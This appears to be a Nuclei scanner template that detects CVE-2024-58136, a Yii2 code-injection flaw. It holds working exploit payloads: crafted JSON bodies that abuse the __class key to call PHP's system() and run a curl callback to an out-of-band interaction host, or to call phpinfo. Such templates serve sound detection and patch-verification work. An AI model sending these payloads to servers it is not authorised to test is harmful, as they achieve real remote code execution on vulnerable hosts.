id: CVE-2024-58136 info: name: "Yii2 - Code Injection" author: vedas-arpsyndicate severity: critical description: | Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025. reference: - https://www.exploit.observer/?keyword=CVE-2024-58136&match=exact - https://subdomain.center/?engine=ammonites&keyword=yii2&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-58136 cwe-id: CWE-94 metadata: verified: false tags: cve,cve2024,yii2,rce,php,framework,kev,vkev,vuln flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} redirects: true matchers: - type: word words: - "Yii" internal: true - raw: - | POST /index.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream":"curl {{interactsh-url}}"}} - | POST /index.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}} matchers-condition: or matchers: - type: word part: interactsh_protocol words: - "http" - type: word words: - "PHP Version" - "PHP Extension" condition: and